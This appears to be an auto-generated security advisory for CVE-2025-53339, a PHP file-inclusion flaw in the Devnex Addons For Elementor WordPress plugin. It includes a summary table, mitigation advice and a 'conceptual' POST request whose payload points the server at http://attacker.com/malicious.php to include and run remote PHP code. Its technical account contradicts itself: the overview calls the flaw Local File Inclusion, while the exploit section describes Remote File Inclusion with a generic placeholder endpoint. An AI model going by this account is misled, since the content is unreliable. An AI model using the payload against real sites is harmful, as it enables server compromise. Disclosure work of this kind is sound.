Overview
The vulnerability identified as CVE-2025-53339 is a significant security flaw within the devnex Devnex Addons For Elementor. The issue arises from improper control of filename for Include/Require Statement in PHP Program, which allows for PHP Local File Inclusion. This vulnerability can potentially lead to system compromise or data leakage, posing a severe threat to users of the affected versions of Devnex Addons For Elementor.
Vulnerability Summary
CVE ID: CVE-2025-53339
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage
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Product | Affected Versions
Devnex Addons For Elementor | Up to and including 1.0.9
How the Exploit Works
The exploit takes advantage of the improper control of filename within the PHP code of Devnex Addons For Elementor. An attacker can manipulate Include/Require statements to include files from remote servers, thereby leading to Remote File Inclusion (RFI). This vulnerability allows an attacker to execute arbitrary PHP code within the server’s context leading to potential system compromise or data leakage.
Conceptual Example Code
The following is a conceptual example of how this vulnerability might be exploited. The attacker sends a POST request with the malicious payload to the vulnerable endpoint.
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "http://attacker.com/malicious.php" }In this example, `http://attacker.com/malicious.php` is a PHP file hosted on the attacker’s server, designed to perform malicious actions when included and executed on the target server.
Mitigation
To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential exploits.
